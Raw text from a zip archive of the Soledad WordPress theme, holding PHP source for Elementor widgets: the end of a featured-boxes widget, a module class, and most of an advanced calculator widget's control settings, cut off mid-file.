				'mobile_default' => array( 'size' => 0.5 ),
				'range'          => array( 'px' => array( 'min' => 0.1, 'max' => 2, 'step' => 0.01 ) ),
				'selectors'      => array(
					'{{WRAPPER}} .home-featured-boxes .penci-image-holder:before' => 'padding-top: calc( {{SIZE}} * 100% );',
				),
				'condition'      => array( 'penci_size' => 'custom' ),
			)
		);
		$this->add_group_control(
			Group_Control_Image_Size::get_type(),
			array(
				'name'      => 'thumbnail',
				'default'   => 'full',
				'separator' => 'none',
				'condition' => array( 'penci_size' => 'custom' ),
			)
		);

		$this->add_control(
			'penci_new_tab', array(
				'label'     => __( 'Open in New Tab?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
			)
		);

		$this->add_responsive_control(
			'penci_margin_top', array(
				'label'     => __( 'Custom Margin Top ( Unit is Pixel )', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
				'selectors' => array( '{{WRAPPER}} .home-featured-boxes' => 'margin-top: {{SIZE}}px' ),
			)
		);
		$this->add_responsive_control(
			'penci_margin_bottom', array(
				'label'     => __( 'Custom Margin Bottom ( Unit is Pixel )', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
				'selectors' => array( '{{WRAPPER}} .home-featured-boxes' => 'margin-bottom: {{SIZE}}px' ),
			)
		);

		$repeater = new Repeater();
		$repeater->add_control(
			'_image',
			array(
				'label'   => __( 'Image', 'soledad' ),
				'type'    => Controls_Manager::MEDIA,
				'default' => array( 'url' => Utils::get_placeholder_image_src() ),
			)
		);
		$repeater->add_control(
			'_text', array(
				'label' => __( 'Text', 'soledad' ),
				'type'  => Controls_Manager::TEXT,
			)
		);
		$repeater->add_control(
			'_url', array(
				'label' => __( 'URL', 'soledad' ),
				'type'  => Controls_Manager::TEXT,
			)
		);

		$this->add_control(
			'boxes_data', array(
				'type'        => Controls_Manager::REPEATER,
				'fields'      => $repeater->get_controls(),
				'default'     => array(
					array(
						'_image' => array( 'url' => Utils::get_placeholder_image_src() ),
						'_text'  => 'Featured Boxed 1',
						'_url'   => 'http://example1.com/'
					),
					array(
						'_image' => array( 'url' => Utils::get_placeholder_image_src() ),
						'_text'  => 'Featured Boxed 2',
						'_url'   => 'http://example1.com/'
					),
					array(
						'_image' => array( 'url' => Utils::get_placeholder_image_src() ),
						'_text'  => 'Featured Boxed 3',
						'_url'   => 'http://example1.com/'
					),
				),
				'title_field' => '{{{ name }}}',
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_title_block_style',
			array(
				'label' => __( 'Featured Boxes', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'img_box_border_color', array(
				'label'     => __( 'Background and Border color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} ul.homepage-featured-boxes .penci-fea-in h4 span span:before'     => 'border-color: {{VALUE}};',
					'{{WRAPPER}} ul.homepage-featured-boxes li .penci-fea-in:after'                => 'border-color: {{VALUE}};',
					'{{WRAPPER}} ul.homepage-featured-boxes li .penci-fea-in:before'               => 'border-color: {{VALUE}};',
					'{{WRAPPER}} ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 h4:before' => 'border-color: {{VALUE}};',
					'{{WRAPPER}} ul.homepage-featured-boxes .penci-fea-in h4 span span'            => 'background-color: {{VALUE}};',
					'{{WRAPPER}} ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 h4'        => 'background-color: {{VALUE}};',
				),
			)
		);
		$this->add_control(
			'img_box_text_color', array(
				'label'     => __( 'Text color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} ul.homepage-featured-boxes .penci-fea-in h4 > span,{{WRAPPER}} ul.homepage-featured-boxes .penci-fea-in h4 span span' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'img_box_text_hcolor', array(
				'label'     => __( 'Hover text color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} ul.homepage-featured-boxes li .penci-fea-in:hover h4 > span'    => 'color: {{VALUE}};',
					'{{WRAPPER}} ul.homepage-featured-boxes li .penci-fea-in:hover h4 span span' => 'color: {{VALUE}};',
				),
			)
		);


		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'img_box_typo',
				'label'    => __( 'Text Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} ul.homepage-featured-boxes .penci-fea-in h4 > span,{{WRAPPER}} ul.homepage-featured-boxes .penci-fea-in h4 span span',
			)
		);
		$this->end_controls_section();
	}

	protected function render() {
		$settings = $this->get_settings();

		if ( empty( $settings['boxes_data'] ) ) {
			return;
		}
		$size  = $settings['penci_size'];
		$thumb = 'penci-thumb';
		if ( $size == 'square' ) {
			$thumb = 'penci-thumb-square';
		} elseif ( $size == 'vertical' ) {
			$thumb = 'penci-thumb-vertical';
		} elseif ( $size == 'custom' ) {
			if ( $settings['thumbnail_size'] ) {
				$thumb = $settings['thumbnail_size'];
			}
		}
		?>
        <div class="clearfix home-featured-boxes home-featured-boxes-sc home-featured-boxes-vc boxes-size-<?php echo $size; ?>">
            <ul class="homepage-featured-boxes <?php echo esc_attr( $settings['penci_columns'] ); ?>">
				<?php
				foreach ( (array) $settings['boxes_data'] as $item ) {
					if ( isset( $item['_image'] ) ):
						$homepage_box_image = $this->get_marker_img_el( $item['_image'], 'full' );
						$homepage_box_text = isset( $item['_text'] ) ? $item['_text'] : '';
						$homepage_box_url = isset( $item['_url'] ) ? $item['_url'] : '';

						$open_url  = '';
						$close_url = '';
						$target    = '';
						if ( 'yes' == $settings['penci_new_tab'] ):
							$target = ' target="_blank"';
						endif;
						if ( $homepage_box_url ) {
							$open_url  = '<a href="' . do_shortcode( $homepage_box_url ) . '"' . $target . '>';
							$close_url = '</a>';
						}
						?>
                        <li class="penci-featured-ct <?php echo( $homepage_box_text ? ' boxes-has-text' : 'boxes-no-text' ); ?>">
							<?php echo wp_kses( $open_url, penci_allow_html() ); ?>
                            <div class="penci-fea-in <?php echo esc_attr( $settings['penci_style'] ); ?>">

                                <div <?php echo penci_layout_bg( penci_get_image_size_url( $homepage_box_image, $thumb ) ); ?> class="<?php echo penci_layout_bg_class();?> fea-box-img penci-image-holder penci-holder-load">
									<?php echo penci_layout_img( penci_get_image_size_url( $homepage_box_image, $thumb ) ); ?>
                                </div>


								<?php if ( $homepage_box_text ): ?>
                                    <h4>
                                        <span class="boxes-text"><span><?php echo do_shortcode( $homepage_box_text ); ?></span></span>
                                    </h4>
								<?php endif; ?>
                            </div>
							<?php echo wp_kses( $close_url, penci_allow_html() ); ?>
                        </li>
					<?php
					endif;
				}
				?>
            </ul>
        </div>
		<?php
	}

	public function get_marker_img_el( $image, $thumbnail_size = 'thumbnail' ) {
		if ( empty( $image['url'] ) ) {
			return '';
		}
		if ( ! empty( $image['id'] ) ) {
			$attr = wp_get_attachment_image_src( $image['id'], $thumbnail_size );
			if ( isset( $attr['url'] ) && $attr['url'] ) {
				$image['url'] = $attr['url'];
			}
		}

		return $image['url'];
	}
}
PK     N\ޝP|  |  :  inc/elementor/modules/penci-advanced-calculator/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciAdvancedCalculator;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-advanced-calculator';
	}

	public function get_widgets() {
		return array( 'PenciAdvancedCalculator' );
	}
}
PK     N\>v  v  U  inc/elementor/modules/penci-advanced-calculator/widgets/penci-advanced-calculator.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciAdvancedCalculator\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Border;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Background;
use Elementor\Repeater;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
} // Exit if accessed directly

class PenciAdvancedCalculator extends Base_Widget {

	public function get_name() {
		return 'penci-advanced-calculator';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Advanced Calculator', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-document-file';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return [ 'custom', 'advanced', 'calculator', 'math', 'formula' ];
	}

	public function get_script_depends() {
		return [ 'penci-advanced-calculator' ];
	}

	protected function register_controls() {


		$this->start_controls_section(
			'section_form_fields',
			[
				'label' => esc_html__( 'Calculator Fields', 'soledad' ),
			]
		);

		$repeater = new Repeater();

		$field_types = [
			'text'     => esc_html__( 'Text', 'soledad' ),
			'number'   => esc_html__( 'Number', 'soledad' ),
			'hidden'   => esc_html__( 'Hidden', 'soledad' ),
			'disabled' => esc_html__( 'Disabled', 'soledad' ),
			'select'   => esc_html__( 'Select', 'soledad' ),
			'radio'    => esc_html__( 'Radio', 'soledad' ),
		];

		$repeater->add_control(
			'field_type',
			[
				'label'   => esc_html__( 'Type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => $field_types,
				'default' => 'number',
			]
		);

		$repeater->add_control(
			'field_label',
			[
				'label'   => esc_html__( 'Label', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => '',
				'dynamic' => [ 'active' => true ],
			]
		);

		$repeater->add_control(
			'placeholder',
			[
				'label'      => esc_html__( 'Placeholder', 'soledad' ),
				'type'       => Controls_Manager::TEXT,
				'default'    => '',
				'dynamic'    => [ 'active' => true ],
				'conditions' => [
					'terms' => [
						[
							'name'     => 'field_type',
							'operator' => 'in',
							'value'    => [
								'text',
								'number',
							],
						],
					],
				],
			]
		);

		$repeater->add_control(
			'field_value',
			[
				'label'      => esc_html__( 'Default Value', 'soledad' ),
				'type'       => Controls_Manager::TEXT,
				'default'    => '',
				'dynamic'    => [
					'active' => true,
				],
				'conditions' => [
					'terms' => [
						[
							'name'     => 'field_type',
							'operator' => 'in',
							'value'    => [
								'text',
								'number',
								'hidden',
								'disabled',
							],
						],
					],
				],
			]
		);

		$repeater->add_control(
			'field_options',
			[
				'label'       => esc_html__( 'Options', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'default'     => '',
				'description' => esc_html__( 'Enter each option in a separate line. To differentiate between label and value, separate them with a pipe char ("|"). For example: First Item|f_name', 'soledad' ),
				'dynamic'     => [ 'active' => true ],
				'conditions'  => [
					'terms' => [
						[
							'name'     => 'field_type',
							'operator' => 'in',
							'value'    => [
								'select',
								'checkbox',
								'radio',
							],
						],
					],
				],
			]
		);

		$repeater->add_control(
			'inline_list',
			[
				'label'      => esc_html__( 'Inline List', 'soledad' ),
				'type'       => Controls_Manager::SWITCHER,
				'conditions' => [
					'terms' => [
						[
							'name'     => 'field_type',
							'operator' => 'in',
							'value'    => [
								'checkbox',
								'radio',
							],
						],
					],
				],
			]
		);

		$repeater->add_responsive_control(
			'width',
			[
				'label'      => esc_html__( 'Column Width', 'soledad' ),
				'type'       => Controls_Manager::NUMBER,
				'default'    => 100,
				'conditions' => [
					'terms' => [
						[
							'name'     => 'field_type',
							'operator' => '!in',
							'value'    => [
								'hidden',
							],
						],
					],
				],
				'selectors'  => [
					'{{WRAPPER}}  .penci-advcal-el-field-group{{CURRENT_ITEM}}' => 'width: {{VALUE}}%',
				],
			]
		);

		$this->add_control(
			'form_fields',
			[
				'type'        => Controls_Manager::REPEATER,
				'fields'      => $repeater->get_controls(),
				'default'     => [
					[
						'field_type'  => 'number',
						'field_label' => esc_html__( 'First Value', 'soledad' ),
						'placeholder' => esc_html__( 'Enter your value', 'soledad' ),
						'width'       => '100',
					],
					[
						'field_type'  => 'number',
						'field_label' => esc_html__( 'Second Value', 'soledad' ),
						'placeholder' => esc_html__( 'Enter your value', 'soledad' ),
						'width'       => '100',
					],
				],
				'title_field' => '{{{ field_label }}}',
			]
		);


		$this->end_controls_section();


		$this->start_controls_section(
			'section_forms_layout',
			[
				'label' => esc_html__( 'Form Settings', 'soledad' ),
			]
		);

		$this->add_control(
			'show_labels',
			[
				'label'   => esc_html__( 'Label', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
			]
		);

		$this->add_responsive_control(
			'alignment',
			[
				'label'     => esc_html__( 'Alignment', 'soledad' ),
				'type'      => Controls_Manager::CHOOSE,
				'options'   => [
					'left'     => [
						'title' => esc_html__( 'Left', 'soledad' ),
						'icon'  => 'eicon-h-align-left',
					],
					'center'   => [
						'title' => esc_html__( 'Center', 'soledad' ),
						'icon'  => 'eicon-h-align-center',
					],
					'flex-end' => [
						'title' => esc_html__( 'Right', 'soledad' ),
						'icon'  => 'eicon-h-align-right',
					],
				],
				'selectors' => [
					'{{WRAPPER}}.penci-advcal-el-all-field-inline--yes .penci-advcal-form' => 'justify-content: {{VALUE}};',
				],
				'condition' => [
					'all_field_inline' => 'yes'
				]
			]
		);

		$this->add_responsive_control(
			'text_align',
			[
				'label'     => esc_html__( 'Text Align', 'soledad' ),
				'type'      => Controls_Manager::CHOOSE,
				'default'   => 'left',
				'options'   => [
					'left'   => [
						'title' => esc_html__( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					],
					'center' => [
						'title' => esc_html__( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					],
					'right'  => [
						'title' => esc_html__( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-form, {{WRAPPER}} .penci-advcal-form input, {{WRAPPER}} .penci-advcal-form textarea' => 'text-align: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'button_text_heading',
			[
				'label'   => esc_html__( 'Submit Button', 'soledad' ),
				'type'    => Controls_Manager::HEADING,
			]
		);
		
		$this->add_control(
			'button_text',
			[
				'label'   => esc_html__( 'Text', 'soledad' ),
				'type'    => Controls_Manager::TEXT,
				'default' => esc_html__( 'Submit', 'soledad' ),
			]
		);

		$this->add_responsive_control(
			'button_size',
			[
				'label'        => esc_html__( 'Button Size', 'soledad' ),
				'type'         => Controls_Manager::SELECT,
				'default'      => 'small',
				'options'      => [
					'small' => __( 'Small', 'soledad' ),
					'full'  => __( 'Full Width', 'soledad' ),
				],
				'selectors_dictionary' => [
					'small' => 'auto;',
					'full' => '100%;',
				],
				'selectors'    => [
					'{{WRAPPER}} .penci-advcal-button' => 'width: {{VALUE}}',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_formula',
			[
				'label' => esc_html__( 'Calculator Settings', 'soledad' ),
			]
		);

		$this->add_control(
			'form_formula',
			[
				'label'       => esc_html__( 'Formula', 'soledad' ),
				'type'        => Controls_Manager::CODE,
				'dynamic'     => [ 'active' => true ],
				'default'     => esc_html__( 'SUM(f1 + f2)', 'soledad' ),
				'label_block' => true,
			]
		);

		$this->add_control(
			'form_formula_note',
			[
				'type'            => Controls_Manager::RAW_HTML,
				'raw'             => __(
					'It\'s one of the most amazing features of this widget. There are lots of math formulas available for you. The fields will automatically detect their own indexing. If you insert 2 fields and want to add them then the formula would be <b>SUM(f1+f2)</b>.
				<br/>If you want to know details about formulas, please visit <a href="https://formulajs.info/functions/" target="_blank">Here</a>.',
					'soledad'
				),
				'content_classes' => 'elementor-panel-alert elementor-panel-alert-info',
			]
		);

		$this->add_control(
			'form_result_show',
			[
				'label'   => esc_html__( 'Result Show', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'submit',
				'options' => [
					'submit' => esc_html__( 'On Submit', 'soledad' ),
					'change' => esc_html__( 'On Change', 'soledad' ),
				],
			]
		);

		$this->add_control(
			'form_result_position',
			[
				'label'   => esc_html__( 'Result Position', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'bottom',
				'options' => [
					'top'    => esc_html__( 'Top', 'soledad' ),
					'bottom' => esc_html__( 'Bottom', 'soledad' ),
				],
			]
		);

		$this->add_responsive_control(
			'result_alignment',
			[
				'label'       => esc_html__( 'Alignment', 'soledad' ),
				'type'        => Controls_Manager::CHOOSE,
				'options'     => [
					'left'    => [
						'title' => esc_html__( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					],
					'center'  => [
						'title' => esc_html__( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					],
					'right'   => [
						'title' => esc_html__( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					],
					'justify' => [
						'title' => esc_html__( 'Justify', 'soledad' ),
						'icon'  => 'eicon-text-align-justify',
					],
				],
				'default'     => is_rtl() ? 'right' : 'left',
				'toggle'      => false,
				'label_block' => false,
				'selectors'   => [
					'{{WRAPPER}} .penci-advcal-result' => 'text-align: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'form_result_text',
			[
				'label'       => esc_html__( 'Result Text', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'dynamic'     => [ 'active' => true ],
				'description' => esc_html__( 'HTML also allowed.', 'soledad' ),
				'default'     => esc_html__( 'Result is: ', 'soledad' ),
				'label_block' => true,
			]
		);

		$this->add_control(
			'form_result_error',
			[
				'label'       => esc_html__( 'Error Text', 'soledad' ),
				'type'        => Controls_Manager::TEXTAREA,
				'dynamic'     => [ 'active' => true ],
				'description' => esc_html__( 'This message will appear when user will do something wrong.', 'soledad' ),
				'default'     => esc_html__( 'Error, invalid data format. please fix the data format and send again. thanks!', 'soledad' ),
				'label_block' => true,
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style',
			[
				'label' => esc_html__( 'Form Style', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_responsive_control(
			'row_gap',
			[
				'label'     => esc_html__( 'Field Space', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => '15',
				],
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 60,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-el-field-group:not(:last-child)'               => 'margin-bottom: {{SIZE}}{{UNIT}};margin-top: 0;',
					'{{WRAPPER}} .penci-advcal-el-name-email-inline + .penci-advcal-el-name-email-inline' => 'padding-left: {{SIZE}}px',
				],
			]
		);

		$this->add_responsive_control(
			'col_gap',
			[
				'label'     => esc_html__( 'Column Space', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => '12',
				],
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 60,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-field-wrap' => 'padding-right: calc( {{SIZE}}{{UNIT}}/2 ); padding-left: calc( {{SIZE}}{{UNIT}}/2 );',
					'{{WRAPPER}} .penci-advcal-form'       => 'margin-left: calc( -{{SIZE}}{{UNIT}}/2 );margin-right: calc( -{{SIZE}}{{UNIT}}/2 );',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_labels',
			[
				'label'     => esc_html__( 'Label', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_labels!' => '',
				],
			]
		);

		$this->add_control(
			'label_spacing',
			[
				'label'     => esc_html__( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 0,
						'max' => 50,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-el-field-group > label' => 'margin-bottom: {{SIZE}}{{UNIT}} !important;',
				],
			]
		);

		$this->add_control(
			'label_color',
			[
				'label'     => esc_html__( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-label' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'label_typography',
				'selector' => '{{WRAPPER}} .penci-advcal-label',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_field_style',
			[
				'label' => esc_html__( 'Fields', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->start_controls_tabs( 'tabs_field_style' );

		$this->start_controls_tab(
			'tab_field_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'field_text_color',
			[
				'label'     => esc_html__( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-input, {{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-select' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'field_placeholder_color',
			[
				'label'     => esc_html__( 'Placeholder Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-input::placeholder' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'field_background_color',
			[
				'label'     => esc_html__( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-input, {{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-select' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'field_border',
				'label'       => esc_html__( 'Border', 'soledad' ),
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-input, {{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-select',
				'separator'   => 'before',
			]
		);

		$this->add_control(
			'field_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-input, {{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-select' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'field_box_shadow',
				'selector' => '{{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-input, {{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-select',
			]
		);

		$this->add_responsive_control(
			'field_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-input, {{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-select' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; height: auto;',
				],
				'separator'  => 'before',
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'      => 'field_typography',
				'label'     => esc_html__( 'Typography', 'soledad' ),
				'selector'  => '{{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-input, {{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-select',
				'separator' => 'before',
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tab_field_focus',
			[
				'label' => esc_html__( 'Focus', 'soledad' ),
			]
		);

		$this->add_control(
			'field_focus_background',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-input:focus, {{WRAPPER}} .penci-advcal-el-field-group textarea:focus' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'field_focus_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-el-field-group .penci-advcal-el-input:focus, {{WRAPPER}} .penci-advcal-el-field-group textarea:focus' => 'border-color: {{VALUE}};',
				],
				'condition' => [
					'field_border_border!' => '',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();


		$this->start_controls_section(
			'section_submit_button_style',
			[
				'label'     => esc_html__( 'Submit Button', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'form_result_show' => 'submit'
				]
			]
		);

		$this->start_controls_tabs( 'tabs_button_style' );

		$this->start_controls_tab(
			'tab_button_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'button_text_color',
			[
				'label'     => esc_html__( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-button' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'button_background_color',
				'selector' => '{{WRAPPER}} .penci-advcal-button'
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'button_border',
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-advcal-button',
				'separator'   => 'before',
			]
		);

		$this->add_responsive_control(
			'button_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-advcal-button' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_responsive_control(
			'button_text_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-advcal-button' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'button_typography',
				'selector' => '{{WRAPPER}} .penci-advcal-button',
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tab_button_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'button_hover_color',
			[
				'label'     => esc_html__( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-button:hover' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'button_background_hover_color',
				'selector' => '{{WRAPPER}} .penci-advcal-button:hover'
			]
		);

		$this->add_control(
			'button_hover_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'separator' => 'before',
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-button:hover' => 'border-color: {{VALUE}};',
				],
				'condition' => [
					'button_border_border!' => '',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();


		$this->start_controls_section(
			'section_result_style',
			[
				'label' => esc_html__( 'Result', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'result_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-advcal-result' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'      => 'result_background_color',
				'separator' => 'before',
				'selector'  => '{{WRAPPER}} .penci-advcal-result'
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'     => 'result_border',
				'label'    => esc_html__( 'Border', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-advcal-result',
			]
		);

		$this->add_control(
			'result_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-advcal-result' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);


		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'result_box_shadow',
				'selector' => '{{WRAPPER}} .penci-advcal-result',
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'result_typography',
				'selector' => '{{WRAPPER}} .penci-advcal-result',
			]
		);

		$this->add_responsive_control(
			'result_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-advcal-result' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; height: auto;',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_error_style',
			[
				'label' => esc_html__( 'Error', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);


